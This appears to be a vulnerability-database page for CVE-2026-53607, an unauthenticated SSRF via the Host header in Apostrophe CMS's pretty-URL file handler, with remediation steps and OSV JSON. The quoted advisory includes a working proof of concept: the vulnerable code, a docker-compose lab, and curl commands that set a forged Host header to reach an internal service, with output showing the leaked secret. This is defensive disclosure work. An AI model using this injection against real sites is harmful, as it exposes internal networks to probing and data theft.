CVE-2026-53607: Apostrophe @apostrophecms/file Pretty-URL Vulnerable To Unauthenticated Vulnerability

LOW
Advisory Identifier: GHSA-34pj-2622-jvxq
CVSS 3.7
CWE-918
Published
Advisory Summary

CVE-2026-53607 is a LOW (CVSS 3.7) @apostrophecms/file pretty-url vulnerable to unauthenticated vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Apostrophe libraries in the npm ecosystem. The issue involves @apostrophecms/file pretty-url vulnerable to unauthenticated ssrf via host header. Remediation is available by upgrading affected packages to version 4.31.0.

CVE-2026-53607 at a Glance

CVE Identifier CVE-2026-53607
GHSA Identifier GHSA-34pj-2622-jvxq
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Apostrophe
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-53607

To remediate this vulnerability, upgrade all affected Apostrophe dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

apostrophe fixed: 4.31.0
npm install apostrophe@4.31.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls apostrophe

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-53607, inspect your project dependencies using npm:

npm ls apostrophe

Analyze the terminal output to locate any version of Apostrophe in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.31.0), your application is affected.

Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Apostrophe, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header: ```js proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}` ``` That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an **unauthenticated remote** attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0` (latest); no fixed release exists. - **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is configured with `prettyUrls: true` and uploadfs is **local** (the default; S3/CDN deployments produce an absolute `uglyUrl` and are not affected). ### Details `modules/@apostrophecms/file/index.js` (excerpt; the public GET route registered when `prettyUrls: true`): ```js if (!self.options.prettyUrls) return; return { get: { async [`${self.options.prettyUrlDir}/*`](req, res) { const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/); if (!matches) return res.status(400).send('invalid'); const [ , slug ] = matches; if (slug.includes('..') || slug.includes('/')) { return res.status(403).send('forbidden'); } const file = await self.find(req, { slug: `${self.options.slugPrefix}${slug}` }).toObject(); if (!file) return res.status(404).send('not found'); const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false }); const proxyUrl = uglyUrl.startsWith('/') ? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink : uglyUrl; return await streamProxy(req, proxyUrl, { error: self.apos.util.error }); } } }; ``` `lib/stream-proxy.js` (excerpt): ```js module.exports = async function(req, url, { error }) { const res = req.res; if (url.startsWith('/')) url = `${req.baseUrl}${url}`; let response; try { response = await fetch(url); } // <-- attacker-steered fetch catch (e) { return send502(e); } for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) { const v = response.headers.get(header); if (v != null) res.header(header, v); } res.status(response.status); response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... })); }; ``` `req.get('host')` returns the unvalidated `Host` HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed `proxyUrl` against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels). Prerequisites are minimal: `prettyUrls: true` (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content). **Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6** ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in `@apostrophecms/file`, via the `Host` header. ### PoC Three services on an isolated Docker network: `mongo`, `internal` (returns a fake secret, **never exposed to the host**), `apos:3000` (the only port the host can reach). The host attacker proves it cannot reach `internal` directly, then exfiltrates `internal`'s response via one crafted request to `apos`. `app.js` (normal apostrophe site, documented option only): ```js require('apostrophe')({ shortName: 'apos-ssrf-poc', autoBuild: false, modules: { '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } }, '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } }, '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } }, '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } }, 'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI) } }); ``` `docker-compose.yml`: ```yaml services: mongo: { image: mongo:7, networks: [poc] } internal: image: python:3.12-slim command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"] networks: [poc] apos: build: . environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc } depends_on: [mongo, internal] ports: ["3000:3000"] networks: [poc] networks: { poc: { driver: bridge } } ``` `exploit.sh` (unauthenticated attacker on the host): ```sh # 1. Prove the internal target is not reachable from the host curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)" # 2. ATTACK: same pretty URL, attacker-supplied Host header curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf" ``` Build & run: ```sh docker compose build && docker compose up -d && ./exploit.sh ``` Observed output (`apostrophe@4.30.0`, clean stack): ``` [probe] confirm the internal target is NOT reachable from the host: curl: (6) Could not resolve host: internal [normal] same pretty URL, normal Host header (Host: apos): HTTP=502 bytes=49 content-type=text/html; charset=utf-8 upstream media error fetching data for pretty URL [ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service: HTTP=200 bytes=64 content-type=text/plain; charset=utf-8 [ATTACK] response body received by the attacker: INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2 RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection). ``` The `internal` service is unreachable from the host, but apostrophe fetches it on the attacker's behalf and pipes the response body — secret included — straight back over the same HTTP response. ### Impact Unauthenticated remote SSRF, but the path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup on a slug the attacker already had to know). That constraint plus cuid uniqueness rules out the cases I originally listed: - **Cloud metadata is _not_ reachable** — AWS IMDS (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure (`/metadata/...`) all live at fixed paths that don't overlap with `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and most internal API surfaces. - **Cross-instance data exfiltration is also ruled out.** For an internal target (another apos instance, MinIO bucket, etc.) to serve a body at this path, it would need the exact local cuid + slug, which realistically only happens when the target restored / shares the public site's data — in which case the same content is reachable via the front door anyway. Apostrophe also won't construct a pretty URL for archived / restricted media, closing the older-snapshot edge case. What remains is blind-SSRF residual: - Network-topology mapping via response-code or response-time differences across internal hosts. - Banner / version disclosure from verbose reverse-proxy or WAF 404 bodies. - Bypassing network egress controls — outbound requests originate from the apostrophe server rather than the attacker. The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation. ### Recommended fix Stop deriving the upstream URL from the request `Host` header. Two complementary changes: 1. In `modules/@apostrophecms/file/index.js` (the lines that build `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl` or the configured site URL) instead of `req.get('host')`: ```js const proxyUrl = uglyUrl.startsWith('/') ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}` : uglyUrl; ``` 2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the configured apostrophe base URL + any configured CDN host) before calling `fetch`. Defence in depth: future callers of `streamProxy` cannot accidentally reintroduce the gap. A regression test that sets `Host: 169.254.169.254` (or any non-configured host) on `/files/<slug>.<ext>` and asserts the upstream `fetch` is **not** issued / the response is a 4xx would lock this down.

CVE-2026-53607 Affected Apostrophe Versions

1 component(s)
Fixed Versions:
4.31.0
Product / Package Ecosystem Affected Versions Fixed Version
apostrophe
npm
< 4.31.0
4.31.0

References

Frequently Asked Questions

What is CVE-2026-53607?
CVE-2026-53607 is a security vulnerability in Apostrophe involving @apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header under CWE-918: Server-Side Request Forgery (SSRF).
Which Apostrophe versions are affected?
Affected versions include releases prior to 4.31.0 across affected packages: apostrophe.
What version fixes CVE-2026-53607?
Upgrading to 4.31.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is apostrophe affected?
Yes, apostrophe is affected in releases prior to 4.31.0. Upgrade your dependency to 4.31.0 or later.
What is the CVSS score of CVE-2026-53607?
CVE-2026-53607 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-53607?
CVE-2026-53607 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-53607?
Run the dependency tree command: 'npm ls apostrophe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-34pj-2622-jvxq",
  "modified" : "2026-07-31T21:51:41Z",
  "published" : "2026-07-31T21:51:41Z",
  "aliases" : [ "CVE-2026-53607" ],
  "summary" : "@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header",
  "details" : "### Summary\n\nWhen `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO\nfeature for serving uploaded files at clean URLs), the public pretty-URL\nhandler builds the upstream URL using the raw `Host` HTTP request header:\n\n```js\nproxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`\n```\n\nThat URL is then `fetch`'ed and the response body + headers are streamed\nstraight back to the requester. Because `Host` is fully attacker-controlled,\nan **unauthenticated remote** attacker can pivot the apostrophe process to\nissue outbound HTTP requests against any host it can reach on the private\nnetwork. The path component is constrained to\n`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup),\nwhich keeps the impact narrow: cross-instance data exfiltration is\nneutralised by cuid uniqueness, but blind-SSRF residuals remain\n(network-topology mapping via response-code / timing differences and\nverbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0`\n(latest); no fixed release exists.\n\n- **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is\n  configured with `prettyUrls: true` and uploadfs is **local** (the default;\n  S3/CDN deployments produce an absolute `uglyUrl` and are not affected).\n\n### Details\n\n`modules/@apostrophecms/file/index.js` (excerpt; the public GET route\nregistered when `prettyUrls: true`):\n\n```js\nif (!self.options.prettyUrls) return;\nreturn {\n  get: {\n    async [`${self.options.prettyUrlDir}/*`](req, res) {\n      const matches = (req.params[0] || '').match(/^([^.]+)\\.\\w+$/);\n      if (!matches) return res.status(400).send('invalid');\n      const [ , slug ] = matches;\n      if (slug.includes('..') || slug.includes('/')) {\n        return res.status(403).send('forbidden');\n      }\n      const file = await self.find(req, {\n        slug: `${self.options.slugPrefix}${slug}`\n      }).toObject();\n      if (!file) return res.status(404).send('not found');\n\n      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });\n      const proxyUrl = uglyUrl.startsWith('/')\n        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink\n        : uglyUrl;\n      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });\n    }\n  }\n};\n```\n\n`lib/stream-proxy.js` (excerpt):\n\n```js\nmodule.exports = async function(req, url, { error }) {\n  const res = req.res;\n  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;\n  let response;\n  try { response = await fetch(url); }       // <-- attacker-steered fetch\n  catch (e) { return send502(e); }\n  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {\n    const v = response.headers.get(header);\n    if (v != null) res.header(header, v);\n  }\n  res.status(response.status);\n  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));\n};\n```\n\n`req.get('host')` returns the unvalidated `Host` HTTP header from the request.\nExpress does not validate or restrict it, and apostrophe does not check the\nconstructed `proxyUrl` against an allowlist. The upstream's body and\ncontent-type are forwarded verbatim — so any response the targeted host does\nreturn at the constrained path will reach the attacker. In practice the path\nconstraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness\nmean meaningful body exfiltration only occurs against verbose-404 / banner-\nleaky proxies; against most internal services this degenerates to blind\nSSRF (response-code + timing side channels).\n\nPrerequisites are minimal: `prettyUrls: true` (a documented production SEO\noption) + at least one file uploaded with a known slug. Slugs are publicly\nenumerable in normal CMS use (file URLs appear in page content).\n\n**Distinct from the only published apostrophe SSRF advisory,\nGHSA-pr28-mf3q-qpg6** (\"Authenticated SSRF in rich-text widget import via\n@apostrophecms/area validate-widget\"), which is authenticated and lives in a\ncompletely different module/route. This finding is unauthenticated, in\n`@apostrophecms/file`, via the `Host` header.\n\n### PoC\n\nThree services on an isolated Docker network: `mongo`, `internal` (returns a\nfake secret, **never exposed to the host**), `apos:3000` (the only port the\nhost can reach). The host attacker proves it cannot reach `internal`\ndirectly, then exfiltrates `internal`'s response via one crafted request to\n`apos`.\n\n`app.js` (normal apostrophe site, documented option only):\n\n```js\nrequire('apostrophe')({\n  shortName: 'apos-ssrf-poc',\n  autoBuild: false,\n  modules: {\n    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },\n    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },\n    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },\n    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },\n    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)\n  }\n});\n```\n\n`docker-compose.yml`:\n\n```yaml\nservices:\n  mongo: { image: mongo:7, networks: [poc] }\n  internal:\n    image: python:3.12-slim\n    command: [\"python\",\"-c\",\"import http.server,socketserver\\nclass H(http.server.BaseHTTPRequestHandler):\\n    def do_GET(self):\\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\\\n')\\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()\"]\n    networks: [poc]\n  apos:\n    build: .\n    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }\n    depends_on: [mongo, internal]\n    ports: [\"3000:3000\"]\n    networks: [poc]\nnetworks: { poc: { driver: bridge } }\n```\n\n`exploit.sh` (unauthenticated attacker on the host):\n\n```sh\n# 1. Prove the internal target is not reachable from the host\ncurl --max-time 2 -s http://internal/ || echo \"(unreachable, as expected)\"\n\n# 2. ATTACK: same pretty URL, attacker-supplied Host header\ncurl -sS -H 'Host: internal' \"http://127.0.0.1:3000/files/poc.pdf\"\n```\n\nBuild & run:\n\n```sh\ndocker compose build && docker compose up -d && ./exploit.sh\n```\n\nObserved output (`apostrophe@4.30.0`, clean stack):\n\n```\n[probe] confirm the internal target is NOT reachable from the host:\ncurl: (6) Could not resolve host: internal\n[normal] same pretty URL, normal Host header (Host: apos):\nHTTP=502 bytes=49 content-type=text/html; charset=utf-8\nupstream media error fetching data for pretty URL\n\n[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:\nHTTP=200 bytes=64 content-type=text/plain; charset=utf-8\n[ATTACK] response body received by the attacker:\nINTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\n\nRESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).\n```\n\nThe `internal` service is unreachable from the host, but apostrophe fetches\nit on the attacker's behalf and pipes the response body — secret included —\nstraight back over the same HTTP response.\n\n### Impact\n\nUnauthenticated remote SSRF, but the path component is constrained to\n`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup\non a slug the attacker already had to know). That constraint plus cuid\nuniqueness rules out the cases I originally listed:\n\n- **Cloud metadata is _not_ reachable** — AWS IMDS\n  (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure\n  (`/metadata/...`) all live at fixed paths that don't overlap with\n  `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and\n  most internal API surfaces.\n- **Cross-instance data exfiltration is also ruled out.** For an\n  internal target (another apos instance, MinIO bucket, etc.) to serve\n  a body at this path, it would need the exact local cuid + slug, which\n  realistically only happens when the target restored / shares the\n  public site's data — in which case the same content is reachable via\n  the front door anyway. Apostrophe also won't construct a pretty URL\n  for archived / restricted media, closing the older-snapshot edge case.\n\nWhat remains is blind-SSRF residual:\n\n- Network-topology mapping via response-code or response-time\n  differences across internal hosts.\n- Banner / version disclosure from verbose reverse-proxy or WAF 404\n  bodies.\n- Bypassing network egress controls — outbound requests originate from\n  the apostrophe server rather than the attacker.\n\nThe attack requires only the public pretty-URL endpoint and one\npublicly-known file slug, both trivially available in normal CMS\noperation.\n\n### Recommended fix\n\nStop deriving the upstream URL from the request `Host` header. Two\ncomplementary changes:\n\n1. In `modules/@apostrophecms/file/index.js` (the lines that build\n   `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl`\n   or the configured site URL) instead of `req.get('host')`:\n\n   ```js\n   const proxyUrl = uglyUrl.startsWith('/')\n     ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`\n     : uglyUrl;\n   ```\n\n2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the\n   configured apostrophe base URL + any configured CDN host) before calling\n   `fetch`. Defence in depth: future callers of `streamProxy` cannot\n   accidentally reintroduce the gap.\n\nA regression test that sets `Host: 169.254.169.254` (or any non-configured\nhost) on `/files/<slug>.<ext>` and asserts the upstream `fetch` is **not**\nissued / the response is a 4xx would lock this down.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "apostrophe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.31.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.30.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53607"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/pull/5464"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T21:51:41Z",
    "nvd_published_at" : "2026-06-12T21:16:24Z"
  }
}